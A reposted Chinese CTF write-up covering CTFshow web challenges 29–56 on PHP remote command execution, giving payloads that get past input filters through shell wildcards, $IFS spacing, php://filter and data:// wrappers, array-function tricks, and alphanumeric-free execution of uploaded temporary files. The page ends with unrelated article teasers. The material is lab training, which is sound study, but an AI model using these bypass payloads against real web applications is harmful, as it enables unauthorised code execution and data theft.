CTFshow—远程命令执行

news2025/1/8 4:09:00

29-35

Web29

代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。

可以利用通配符绕过

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
 

?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤

Web30

和上一题差不多就是多了system和php的过滤,system用passthru代替即可。

?c=passthru('cat fla?.p?p');

Web31

这题多了cat、空格、单引号、逗号的过滤。

cat代替命令
(1)more:一页一页的显示档案内容

(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体内容

空格代替
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS

?c=passthru("more%09fla*");

Web32

这题过滤多了 ; 和 ( 。分号我们可以用 ?> 代替,因为php中最后一句代码可以不用加 ;,但是 ( 被过滤了也就意味着不能用命令执行函数了,因为命令执行函数都要使用到括号。

这里我们可以使用文件包含函数,如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,PHP中文件包含函数可以不用使用括号。

payload如下,解释一下啥意思,使用include函数包含参数1,而参数1是通过get获取的flag.php。

php:///filter:是 PHP 中用于数据流处理的流封装协议之一,它允许你在读取或写入文件时,通过指定的过滤器对数据进行处理。

read=convert.base64-encode:这部分指定了过滤器类型为读取(read)操作,并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要文本表示二进制数据的场合。

resource=:这部分后面应该跟上你想要读取并编码的文件路径

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

返回的数据是base64编码,拿去解码即可。

Web33

和上一题并无啥区别,多了双引号的过滤,但是我们上一题的poyload并无用到双引号,所以直接套用上一题的payload即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web34

观察了一下,只是多了冒号的过滤,上一题的payload我们没有用到冒号,所以继续套用即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web35

过滤多了左尖括号和等于号,无所谓,依旧套用payload即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

36-40

Web36

这题过滤了0-9数字,我还想这个%0a改用什么代替呢,一查原来include函数不需要空格也行,那不就好办了吗,直接套用web35的payload即可,去掉%0a,把参数1改为字母就行。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37

这题是通过C传参,接着使用include包含C,也就是把C的文件内容显示到页面上面,但是过滤了flag。我们可以用data伪协议,伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,也就是说我们可以通过data伪协议造成rce。

data://协议用法:
data://text/plain,
data://text/plain;base64,

payload

?c=data://text/plain,<?php system("cat f*")?>

Web38

这题多了对php的过滤,直接套用上一题的payload坑定是不行了,查了一下原来在PHP中居然可以使用短标签 = 代替php,而且php不是必须的可以去掉,逆天了。

?c=data://text/plain,<?=system("cat f*")?>

Web39

这题没啥难度,就是拼接了个php,问题不大,直接套用上一题的payload即可。

?c=data://text/plain,<?=system("cat f*")?>

Web40

这题难度就上来了,可以看到几乎把所有的字符都过滤,只留下一个英文的括号。

这题要使用很多函数,我们先来了解一下。

print_r()函数不用多说,函数用于打印变量,作用对象是变量。

scandir()函数函数会扫描这个目录,并返回一个包含目录中所有文件和目录名的数组,也就是说scandir()会列出当前目录下的文件。

那么我们可以使用print_r(scandir('.'))来列出当前目录下的所有文件,并且打印在web页面。但是单引号和小数点都被过滤了,我们这里要找其他的函数来代替。

通过查找我们得知

localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)

那不妨这样子想,如果我们能找到一个函数截取localeconv()的值,使其只返回第一个值那我们不就得到小数点了吗?

pos() 和current() 函数返回数组中的当前元素(单元),默认取第一个值。

此时我们可以打印出当前目录下的文件名,无需单引号也行好像。

?c=print_r(scandir(pos(localeconv())));

OK,现在的问题是怎么读取文件里面的内容呢,通过查阅得知,

next():函数将内部指针指向数组中的下一个元素,并输出。

但是通过我们刚刚列出来的数组得知目前的顺序是 ".","..","flag.php","index.php",那我们直接把它们的顺序调换不就刚刚好吗,也就是"index.php","flag.php","..",".",那么此时next()函数指向的下一个刚好是flag.php。

通过查找

array_reverse():数组逆序,将文件目录反转。

此时我们便可以构造payload。

?c=print_r(next(array_reverse(scandir(current(localeconv())))));

但依旧不行,因为print_r函数打印的是变量,而我们要输出的是文件,于是我们这里就只能用show_source或者highlight_file。

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

41-45

Web41

没复现出来

Web42

这题会对我们输入的参数拼接一个重定向,解释一下

> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

1> /dev/null:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任1何信息。
2> &1:接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

所以我们直接截断后面的语句即可。

?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

Web43

和上题目一摸一样的,只不过是多了cat的过滤,我们直接换成more即可。

Web44

多了flag的过滤,用我们上面说过的正则绕过即可。

?c=more%20fla*||

Web45

这题多了分号和空格的过滤。我们直接用%09代替空格即可

?c=more%09fla*||

46-50

Web46

过滤了数字和*,但是%09还能用。

?c=more%09fl?g.php||

Web47

这题对好几个查看flag的命令都做了过滤,但是没有过滤tac。

?c=tac%09fl?g.php||

Web48

依旧没有过滤tac,直接套用上一题的payload即可。

Web49

还是上一题的payload

Web50

这题多了对%过滤也就是说%09不能用了,那我们用<去代替空格即可,奇怪的是用?通配符不知道为啥不行。

c=tac<fl?g.php||

要用 ' ' 才行,对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。

c=tac<fl''ag.php||

51-55

Web51

这题多了tac的过滤,用nl命令代替即可。

c=nl<>fl""ag.php||

Web52

这题多了尖括号的过滤。

一开始直接查看flag,发现不对,说明真正的flag文件不在这个目录。

c=nl${IFS}fl""ag.php||

看一下根目录,发现根目录有个flag

c=ls${IFS}/||

直接查看根目录的flag即可。

?c=nl${IFS}/fl""ag||

Web53

没啥好讲的

c=nl${IFS}fl""ag.php

Web54

这题过滤了很多东西,flag不能用 * 或者 ' ' 来绕过了,nl也被过滤了,但是我们可以用uniq代替。

c=uniq${IFS}f???.php

Web55

过滤了字母,但是没有过滤数字,可以用base64编码,相当于调用/bin目录下的base64编码程序对flag.php进行编码输出

c=/???/????64%20????.???
等同于c=/bin/base64 flag.php

Web46

这题的难度也是直线上升好吧,可以看到数字和字母都过滤了,还有一些特殊符号也是过滤掉了。

但是没有过滤小数点,在linux中以 . /file 这样的方式来执行文件的话,file是不需要有x权限的,而且会用bash去执行file中的命令。那么我们如果上传一个可控文件,再往里面写入一个命令,那么不就是可以rce了吗。

这篇文章写的很好,可以看一下。

无字母数字webshell之提高篇 | 离别歌

那么我们该如何去表示出我们的文件,因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。


?c=.%20/???/????????[@-[]

先构造一个上传页面。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包进行修改。

往文件中添加命令。

#!/bin/sh
ls

读取flag,如果发包没有回显flag,多发几次即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2272412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Elasticsearch 入门教程

掌握Elasticsearch&#xff1a;从入门到入门 一、ES 背景1.1 ElasticSearch 的背景1.2 ElasticSearch 的应用场景 二、ES 简介2.1 ElasticSearch 简介2.2 ElasticSearch 的定义与特点2.3 ElasticSearch 与传统数据库的区别2.4 ElasticSearch 的优势和劣势 三、ES 的核心概念3.1…

【Vue学习】Vue 组件实例的生命周期(四个阶段,八个钩子)

一、为什么要理解生命周期&#xff1f; 理解生命周期就像是知道了一部电影的剧情走向&#xff0c;能让你在适当的时机做出反应。Vue 生命周期的钩子让你可以在不同的阶段插入你的逻辑&#xff0c;像是提前准备、后期清理或者在数据更新时做点事情。这种“精确控制”的能力会让你…

【Vim Masterclass 笔记08】第 6 章:Vim 中的文本变换及替换操作 + S06L20:文本的插入、变更、替换,以及合并操作

文章目录 Section 6&#xff1a;Transforming and Substituting TextS06L21 Inserting, Changing, Replacing, and Joining1 定位到行首非空字符&#xff0c;并启用插入模式2 在紧挨光标的下一个字符位置启动插入模式3 定位到一行末尾&#xff0c;并启用插入模式4 定位到光标的…

vip与haproxy构建nginx高可用集群传递客户端真实ip

问题 系统使用了vip与haproxy实现高可用以及对nginx进行负载均衡&#xff0c;但是发现在上游的应用服务无法拿到客户端的请求ip地址&#xff0c;拿到的是主haproxy机器的ip&#xff0c;以下是nginx与haproxy的缩减配置&#xff1a; location ~* ^/(xx|xx) {proxy_pass http:/…

YOLOv5部署到web端(flask+js简单易懂)

文章目录 前言最终实现效果图后端实现 主界面检测函数检测结果显示 前端实现 主界面(index.html&#xff09;显示图片界面 总结 前言 最近&#xff0c;老板让写一个程序把yolov5检测模型部署到web端&#xff0c;在网页直接进行目标检测。经过1个星期的努力&#xff0c;终于实…

【Vue】分享一个快速入门的前端框架以及如何搭建

先上效果图: 登录 菜单: 下载地址: 链接&#xff1a;https://pan.baidu.com/s/1m-ZlBARWU6_2n8jZil_RAQ 提取码&#xff1a;ui20 … 主要是可以自定义设置token,更改后端请求地址较为方便。 应用设置: 登录与token设置: 在这里设置不用登录,可以请求的接口: request.js i…

【Linux】RPMSG通讯协议介绍

RPMSG协议通讯协议介绍 RPMSG&#xff0c;全称Remote processor Messaging。是一种核间通讯协议。在Linux Kernel中&#xff0c;已经内置了RPMSG。 Linux RPMSG基于共享内存&#xff0c;利用RPMSG可以高效的实现核间通信。比如Linux与FreeRTOS、Linux与Android&#xff0c;都可…

【51单片机-零基础chapter1】

安装软件(配套的有,不多赘述) 1.管理员身份运行keil和破解软件kegen 将CID代码复制粘贴到 一定要管理员方式,不然会error 插入板子 我的电脑,管理 1.如果是拯救者,查看端口,如果没有则显示隐藏 2.苹果不知道,好像不可以 3.其他电脑在"其他设备找" (注:本人在校已…

计算机网络-数据链路层(CSMA/CD协议,CSMA/CA协议)

2.2 ppp协议 点对点协议ppp是目前使用最广泛的点对点数据链路层协议。 2.3 媒体接入控制基本概念 共享信道要着重考虑的一个问题就是如何协调多个发送和接收站点对一个共享传输媒体的占用&#xff0c;即媒体接入控制MAC。 2.3.1 静态划分信道 频分复用 时分复用 波分复用 码分复…

JMeter + Grafana +InfluxDB性能监控 (二)

您可以通过JMeter、Grafana 和 InfluxDB来搭建一个炫酷的基于JMeter测试数据的性能测试监控平台。 下面&#xff0c;笔者详细介绍具体的搭建过程。 安装并配置InfluxDB 您可以从清华大学开源软件镜像站等获得InfluxDB的RPM包&#xff0c;这里笔者下载的是influxdb-1.8.0.x86_…

李宏毅机器学习笔记-Transformer

目录 1. Seq2seq 2. encoder Transformer 中的 Block 结构 3. Decoder 4.Encoder和Decoder间的信息传递 5.Training 6.Tips 1. Seq2seq Transformer 是一个seq2seq的model。Seq2seq指的是input是一个序列&#xff0c;输出也是一个序列&#xff0c;输出的长度是由机器自己…

【AWS SDK PHP】This operation requests `sigv4a` auth schemes 问题处理

使用AWS SDK碰到的错误&#xff0c;其实很简单&#xff0c;要装个扩展库 保持如下 Fatal error: Uncaught Aws\Auth\Exception\UnresolvedAuthSchemeException: This operation requests sigv4a auth schemes, but the client currently supports sigv4, none, bearer, sigv4-…

Qt 5.14.2 学习记录 —— 일 新项目

文章目录 1、创建2、查看代码 ---- main.cpp3、查看代码 ---- widgt.h4、查看代码 ---- widgt.cpp和widget.ui5、查看代码 ---- Empty.pro6、运行产生的中间文件 1、创建 左上角的文件&#xff0c;新建文件或项目。如果要写一个GUI程序&#xff0c;应当选择Application&#x…

Spring MVC和servlet

1.Spring MVC是Spring框架的一个扩展 2.Spring MVC工作流程 1、用户发送请求至前端控制器DispatcherServlet。 2、DispatcherServlet收到请求调用HandlerMapping处理器映射器。 3、处理器映射器找到具体的处理器(可以根据xml配置、注解进行查找)&#xff0c;生成处理器对象及…

蓝牙架构介绍

架构1&#xff1a;hostcontroller双芯片标准架构 这个标准把蓝牙协议栈分成host和controller两部分&#xff0c;其中host跑在AP上&#xff0c;controller跑在蓝牙模块上&#xff0c;两者之间通过HCI协议进行通信&#xff0c;AP芯片厂商一般会直接采用开源的Bluez来实现Host功能…

MySQL(二)MySQL DDL数据库定义语言

1. MySQL DDL数据库定义语言 1.1. MySQL定义语言 进入MySQL mysql -u root -p(回车后输入密码&#xff0c;即可进入mysq1)1.1.1. 数据库操作 &#xff08;1&#xff09;查看数据库 mysql>show databases;注:MySQL语句分隔符为“&#xff1b;”   mysql库很重要它里面有…

决定系数(R²分数)——评估回归模型性能的一个指标

目录 1.定义 2.计算举例 3. 结果分析 1.定义 R&#xff08;R平方&#xff09;分数&#xff0c;也称为决定系数&#xff0c;是用来评估回归模型性能的一个指标。它表示自变量解释因变量变异性的比例。R分数的取值范围通常在0到1之间&#xff0c;其值越接近1&#xff0c;说明…

node.js内置模块之---stream 模块

stream 模块的作用 在 Node.js 中&#xff0c;stream 模块是一个用于处理流&#xff08;stream&#xff09;的核心模块。流是一种处理数据的抽象方式&#xff0c;允许程序处理大量数据时不会一次性将所有数据加载到内存中&#xff0c;从而提高性能和内存效率。通过流&#xff0…

音视频入门基础:MPEG2-PS专题(5)——FFmpeg源码中,解析PS流中的PES流的实现

一、引言 从《音视频入门基础&#xff1a;MPEG2-PS专题&#xff08;3&#xff09;——MPEG2-PS格式简介》中可以知道&#xff0c;PS流由一个个pack&#xff08;包装&#xff09;组成。一个pack 一个pack_header 一个或多个PES_packet。pack_header中还可能存在system header…

ElasticSearch05-集群搭建

零、文章目录 ElasticSearch05-集群搭建 1、Windows集群 &#xff08;1&#xff09;安装节点 就是把下载的压缩包解压之后复制三个副本 &#xff08;2&#xff09;配置节点 每个文件夹的配置文件config/elasticsearch.yml修改如下node-01 配置如下 cluster.name: myclust…